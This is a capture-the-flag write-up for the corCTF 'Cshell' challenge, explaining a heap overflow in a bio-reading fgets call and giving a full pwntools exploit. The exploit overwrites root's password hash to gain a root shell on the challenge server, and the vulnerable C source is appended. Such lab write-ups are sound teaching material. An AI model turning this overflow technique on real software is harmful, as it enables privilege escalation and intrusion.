Tags: babyheap heap-overflow
Rating: 5.0
# Intro
This is a nice straightforward heap overflow challenge. We are given the binary and the source for it (see [Appendix A](#cshell.c)).
### The binary
We can take a look at the binary itself and check the protections on it (but as you will see, this isn’t really relevant). The binary itself happens to be statically compiled, which can make things a bit more interesting when trying to inspect the heap later with things like [pwndbg](https://github.com/pwndbg/pwndbg).
```c
$ checksec ./Cshell
[*] ‘~/CTF/corCTF/pwn/Cshell/Cshell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ file ./Cshell
./Cshell: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=fa44f005a56ad5119764902311a39bbf09cbca23, for GNU/Linux 3.2.0, not stripped
$
```
We can even see the line in the source code for how it was compiled:
```c
//gcc Cshell.c -static -lcrypt -o Cshell
```
### Getting a feel for how the binary works
If we run the binary we are greeted with a message and asked to create a new user profile:
```c
$ ./Cshell
/\
{.-}
;_.-'\
{ _.}_
\.-' / `,
\ | /
\ | ,/
\|_/
Welcome to Cshell, a very restricted shell.
Please create a profile.
Enter a username up to 8 characters long.
>
```
We can give a username, password (which it doesn’t say, but can be a max of 32 chars - not that it’s important) and bio:
```c
Enter a username up to 8 characters long.
> AAAAAAA
Welcome to the system AAAAAAA, you are our 3rd user. We used to have more but some have deleted their accounts.
Create a password.
> BBBBBBBB
How many characters will your bio be (200 max)?
> 8
Great, please type your bio.
> CCCCCCC
```
Once we have done this, we are greeted with a menu:
```c
+----------------------+
| Commands |
+----------------------+
| 1. logout |
| 2. whoami |
| 3. bash (ROOT ONLY!) |
| 4. squad |
| 5. exit |
+----------------------+
Choice >
```
Option 4 (‘squad’), just prints “..”:
```c
Choice > 4
..
```
If we run option 2 (‘whoami’), we get the following (which shows our uid):
```c
Choice > 2
AAAAAAA, uid: 1000
```
From our uid, we know we aren’t root, but if we try the ‘ROOT ONLY’ option:
```c
Choice > 3
Who do you think you are?
```
It also calls ```exit(0)```, which you also get from the ‘exit’ option. But we know that if we could somehow login as root (or get a uid of 0) then we could use this option to pop a shell and win.
The last option is ‘logout’, which lets you then login again:
```c
Choice > 1
Username:AAAAAAA
Password:BBBBBBB
Authenticated!
```
It will do some checking that the user we try to log in as exists and then it will hash the password we give it against a hash it has stored for that user:
```c
Choice > 1
Username:madeup
Sorry no users with that name.
Username:root
Password:root
Incorrect
Username:
```
# Digging into the source
## Logging in
If we look at the ```logout()``` function, we can see it basically reads a username from the user and then loops over the users and if it finds one with that name it asks for a password (and then hashes that and checks against the stored hash).
```c
void logout(){
fflush(stdin);
getchar();
struct tracker *ptr;
printf("Username:");
char username_l[9];
char password_l[32];
char *hash;
scanf("%8s",username_l);
for (ptr = root_t; ptr != NULL; ptr = root_t->next) {
if (strcmp(ptr->name, username_l) == 0) {
printf("Password:");
scanf("%32s",password_l);
hash = crypt(password_l,salt);
if (strcmp(hash,ptr->ptr->passwd) == 0){
strcpy(username,ptr->name);
uid = ptr->id;
puts("Authenticated!");
menu();
}
else{
puts("Incorrect");
logout();
}
}
else
{
if (ptr->next==0)
{
puts("Sorry no users with that name.");
logout();
}
}
}
}
```
One (irrelevant) sidenote here is that due to the way it recursively calls ```logout()``` on either a bad username or bad password a malicious attacker could probably crash the service by repeatedly failing to log in until the stack is exhausted (not that this helps us in this case).
## User structs
The user data type being iterated over during the login is a linked list made up of ```tracker``` structs:
```c
struct tracker{
struct tracker *next;
struct users *ptr;
char name[8];
long int id;
};
```
This contains a copy of the username field and the uid of the user (which for our user is always 1000 and for root is always 0). The ```users``` struct element of the struct (just called ```ptr```) is very simple:
```c
struct users {
char name[8];
char passwd[35];
};
```
It contains another copy of the username string and the hash of the password. We can see in the code where the two globals are initialised in main:
```c
int main(){
setvbuf(stdout, 0 , 2 , 0);
setvbuf(stdin, 0 , 2 , 0);
root_t = malloc(sizeof(struct tracker));
user_t = malloc(sizeof(struct tracker));
history();
banner();
user = malloc(sizeof(struct users )* 4);
root = user + 1;
strcpy(user->name,"tempname");
strcpy(user->passwd,"placeholder");
strcpy(root->name,"root");
strcpy(root->passwd,"guessme:)");
strcpy(root_t->name,"root");
root_t->ptr = root;
root_t->id = 0;
root_t->next = user_t;
setup();
strcpy(user->name,username);
strcpy(user->passwd,hash);
strcpy(user_t->name,username);
user_t->id=1000;
user_t->ptr = user;
user_t->next = NULL;
menu();
return 0;
}
```
The next pointer for ```root_t``` is set to be ```user_t``` and the next pointer for ```user_t``` is set to NULL (so it’s a linked list of two elements, with no way to grow…).
## The history function
If we look at the code for ```history()``` we can see what it was talking about when it said ```you are our 3rd user. We used to have more but some have deleted their accounts.```:
```c
void history(){
alex_buff = malloc(0x40);
char alex_data[0x40] = "Alex\nJust a user on this system.\0";
char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";
char Charlie[0x50] ="Charlie\nI do not trust the security of this program...\0";
char Eric[0x60] = "Eric\nThis is one of the best programs I have ever used!\0";
strcpy(alex_buff,alex_data);
Charlie_buff = malloc(0x50);
strcpy(Charlie_buff,Charlie);
Johnny_buff = malloc(0x60);
strcpy(Johnny_buff,Johnny);
Eric_buff = malloc(0x80);
strcpy(Eric_buff,Eric);
free(Charlie_buff);
free(Eric_buff);
}
```
This function is kinda nonsense and just serves to do 4 allocations of sizes 0x40 (```alex_buff```), 0x50 (```Charlie_buff```), 0x60 (```Johnny_buff```) and 0x80 (```Eric_buff```) and then free the 0x50 and 0x80 allocations.
## Creating a user with the setup function
The final bit of code to look at is ```setup()```:
```c
void setup(){
char password_L[33];
puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");
printf("Enter a username up to 8 characters long.\n> ");
scanf("%8s",username);
printf("Welcome to the system %s, you are our 3rd user. We used to have more but some have deleted their accounts.\nCreate a password.\n> ",username);
scanf("%32s",&password_L);
hash = crypt(password_L,salt);
printf("How many characters will your bio be (200 max)?\n> ");
scanf("%d",&length);
userbuffer = malloc(length + 8);
printf("Great, please type your bio.\n> ");
getchar();
fgets((userbuffer + 8),201,stdin);
}
```
Here we can see the bug that we are going to exploit. It asks us for a length of bio, but then does an ```fgets``` of 201 characters (so we can ask for a block size smaller than that and get a heap overflow).
There are no obvious ways after our bio is entered to do further allocations or frees (It is possible to trigger them using printf/scanf but that’s not the path we need to take - but if you haven’t heard of those techniques they are well worth looking into, I’ll put links in [Appendix B](#links)) so it’s likely we’re looking to corrupt an existing object, rather than heap meta data.
## State of the heap
If we go though the functions that do allocations/frees (```main()``` and ```history()```) in order of execution:
| Function | Action | Line in code |
|:------------- |------------------------- |--------------------------------------------- |
| main | Allocate 0x30 chunk | ```root_t = malloc(sizeof(struct tracker));``` |
| main | Allocate 0x30 chunk | ```user_t = malloc(sizeof(struct tracker));``` |
| history | Allocate 0x50 chunk | ```alex_buff = malloc(0x40);``` |
| history | Allocate 0x60 chunk | ```Charlie_buff = malloc(0x50);``` |
| history | Allocate 0x70 chunk | ```Johnny_buff = malloc(0x60);``` |
| history | Allocate 0x90 chunk | ```Eric_buff = malloc(0x80);``` |
| history | Free 0x60 chunk | ```free(Charlie_buff);``` |
| history | Free 0x90 chunk | ```free(Eric_buff);``` |
| main | Allocate 0xc0 chunk | ```user = malloc(sizeof(struct users )* 4);``` |
-----
One interesting thing to note is the use of just one chunk to hold both the ```users``` struct for our user and for root.
In memory, before we enter our username/password/bio, the memory looks like:
| Chunk | Size/State |
| ------------ | ------------------|
| root_t | 0x30 - Allocated |
| user_t | 0x30 - Allocated |
| alex_buff | 0x50 - Allocated |
| Charlie_buff | 0x60 - Free |
| Johnny_buff | 0x70 - Allocated |
| Eric_buff | 0x90 - Free |
| user | 0xc0 - Allocated |
| top chunk | |
-----
### Double checking this in gdb
We can see this in a memory dump from gdb:
![](https://i.imgur.com/csdIZ2Y.png)
# Plan for our exploit
Once we have entered our username and password (I chose “AAAAAAA” and “BBBBBBBB”) our ```user``` struct is updated:
```
0x5188b0: 0x0000000000000000 0x00000000000000c1
0x5188c0: 0x0041414141414141 0x6559316f78323331
0x5188d0: 0x000000454f6b6872 0x0000000000000000
0x5188e0: 0x0000000000000000 0x00746f6f72000000
0x5188f0: 0x7373657567000000 0x00000000293a656d
0x518900: 0x0000000000000000 0x0000000000000000
```
We can dump out the hash generated for “BBBBBBBB” (which we can then use later to overwrite the hash for root’s password):
```
pwndbg> x/16bx 0x5188c8
0x5188c8: 0x31 0x33 0x32 0x78 0x6f 0x31 0x59 0x65
0x5188d0: 0x72 0x68 0x6b 0x4f 0x45 0x00 0x00 0x00
pwndbg>
```
Now the plan is to pick a size for our bio, so it reuses the freed 0x90 chunk that is in memory just before the user chunk. To do this we need to provide a size that is between 0x80 and 0x88. We also have to account for it randomly adding 0x8 to the size we pick in ```setup()```:
```c
printf("How many characters will your bio be (200 max)?\n> ");
scanf("%d",&length);
userbuffer = malloc(length + 8);
```
So, if we pick 0x80 (128), that will then become 0x88, which will force a chunk size of 0x90.
Our data starts getting written from offset 0x8 into the chunk we allocate:
```c
fgets((userbuffer + 8),201,stdin);
```
So we need to write 128 bytes to hit the end of our allocated chunk, 0x8 bytes for the header of the user chunk and then we need to skip over the first entry (our ```users``` struct) to hit the second entry (the root entry), which means adding another 43 bytes (the struct isn’t packed, so 8 bytes username + 35 bytes of password hash). So total padding is 179 bytes.
Thus our exploit:
```python
#!/usr/bin/env python3
from pwn import *
exe = context.binary = ELF('./Cshell')
gdbscript = '''
tbreak main
init-pwndbg
continue
'''
if args.REMOTE:
io = remote('pwn.be.ax',5001)
elif args.GDB:
io = gdb.debug(exe.path, gdbscript=gdbscript)
else:
io = process(exe.path)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
# username, password and bio size
sla(b'8 characters long.\n',b'A'*8)
sla(b'Create a password.\n',b'B'*8)
sla(b'(200 max)?\n',b'128')
# hash of 'BBBBBBBB'
eight_b_hash=b'\x31\x33\x32\x78\x6f\x31\x59\x65\x72\x68\x6b\x4f\x45'
# bio
bio = b'C'*128 # fill bio buffer
bio+= b'D'*51 # overflow till start of root user struct
bio+= p64(0x746f6f72) # 'root'
bio+= eight_b_hash # new hash for root
sla(b'type your bio.\n', bio)
# logout
sla(b'Choice > ',b'1')
# log in as root
sla(b'Username:',b'root')
sla(b'Password:',b'BBBBBBBB')
# pop shell
sla(b'Choice > ',b'3')
io.interactive()
```
Which when run:
```
~/CTF/corCTF/pwn/Cshell$ ./exploit.py REMOTE
[*] ‘~/CTF/corCTF/pwn/Cshell/Cshell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to pwn.be.ax on port 5001: Done
[*] Switching to interactive mode
$ ls -l
total 1172
-rw-rw-r-- 1 nobody nogroup 47 Aug 14 18:21 flag.txt
-rwxrwxr-x 1 nobody nogroup 1192888 Aug 17 22:52 run
$ cat flag.txt
corctf{tc4ch3_r3u5e_p1u5_0v3rfl0w_equ4l5_r007}
$ exit
```
This was a pretty fun challenge, thanks to 0x5a for writing it :)
-----
# Appendix A
## CShell.c
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>
//gcc Cshell.c -static -lcrypt -o Cshell
struct users {
char name[8];
char passwd[35];
};
struct tracker{
struct tracker *next;
struct users *ptr;
char name[8];
long int id;
};
char * alex_buff;
char * Charlie_buff;
char * Johnny_buff;
char * Eric_buff;
struct users *user;
struct users *root;
struct tracker *root_t;
struct tracker *user_t;
char *username[8];
char *userbuffer;
int uid=1000;
int length;
char salt[5] = "1337\0";
char *hash;
void setup(){
char password_L[33];
puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");
printf("Enter a username up to 8 characters long.\n> ");
scanf("%8s",username);
printf("Welcome to the system %s, you are our 3rd user. We used to have more but some have deleted their accounts.\nCreate a password.\n> ",username);
scanf("%32s",&password_L);
hash = crypt(password_L,salt);
printf("How many characters will your bio be (200 max)?\n> ");
scanf("%d",&length);
userbuffer = malloc(length + 8);
printf("Great, please type your bio.\n> ");
getchar();
fgets((userbuffer + 8),201,stdin);
}
void logout(){
fflush(stdin);
getchar();
struct tracker *ptr;
printf("Username:");
char username_l[9];
char password_l[32];
char *hash;
scanf("%8s",username_l);
for (ptr = root_t; ptr != NULL; ptr = root_t->next) {
if (strcmp(ptr->name, username_l) == 0) {
printf("Password:");
scanf("%32s",password_l);
hash = crypt(password_l,salt);
if (strcmp(hash,ptr->ptr->passwd) == 0){
strcpy(username,ptr->name);
uid = ptr->id;
puts("Authenticated!");
menu();
}
else{
puts("Incorrect");
logout();
}
}
else
{
if (ptr->next==0)
{
puts("Sorry no users with that name.");
logout();
}
}
}
}
void whoami(){
printf("%s, uid: %d\n",username,uid);
menu();
}
void bash(){
if (uid == 0){
system("bash");
}
else
{
puts("Who do you think you are?");
exit(0);
}
}
void squad(){
puts("..");
menu();
}
void banner(){
puts(" /\\");
puts(" {.-}");
puts(" ;_.-'\\");
puts(" { _.}_");
puts(" \\.-' / `,");
puts(" \\ | /");
puts(" \\ | ,/");
puts(" \\|_/");
puts("");
}
void menu(){
puts("+----------------------+");
puts("| Commands |");
puts("+----------------------+");
puts("| 1. logout |");
puts("| 2. whoami |");
puts("| 3. bash (ROOT ONLY!) |");
puts("| 4. squad |");
puts("| 5. exit |");
puts("+----------------------+");
int option;
printf("Choice > ");
scanf("%i",&option);
switch(option){
case 1:
logout();
case 2:
whoami();
case 3:
bash();
case 4:
squad();
case 5:
exit(0);
default:
puts("[!] invalid choice \n");
break;
}
}
void history(){
alex_buff = malloc(0x40);
char alex_data[0x40] = "Alex\nJust a user on this system.\0";
char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";
char Charlie[0x50] ="Charlie\nI do not trust the security of this program...\0";
char Eric[0x60] = "Eric\nThis is one of the best programs I have ever used!\0";
strcpy(alex_buff,alex_data);
Charlie_buff = malloc(0x50);
strcpy(Charlie_buff,Charlie);
Johnny_buff = malloc(0x60);
strcpy(Johnny_buff,Johnny);
Eric_buff = malloc(0x80);
strcpy(Eric_buff,Eric);
free(Charlie_buff);
free(Eric_buff);
}
int main(){
setvbuf(stdout, 0 , 2 , 0);
setvbuf(stdin, 0 , 2 , 0);
root_t = malloc(sizeof(struct tracker));
user_t = malloc(sizeof(struct tracker));
history();
banner();
user = malloc(sizeof(struct users )* 4);
root = user + 1;
strcpy(user->name,"tempname");
strcpy(user->passwd,"placeholder");
strcpy(root->name,"root");
strcpy(root->passwd,"guessme:)");
strcpy(root_t->name,"root");
root_t->ptr = root;
root_t->id = 0;
root_t->next = user_t;
setup();
strcpy(user->name,username);
strcpy(user->passwd,hash);
strcpy(user_t->name,username);
user_t->id=1000;
user_t->ptr = user;
user_t->next = NULL;
menu();
return 0;
}
```
-----
# Appendix B
## Links
* [Trigger malloc with printf](https://github.com/Naetw/CTF-pwn-tips#use-printf-to-trigger-malloc-and-free)
* [Trigger malloc with scanf](https://changochen.github.io/2018-11-09-hctf.html)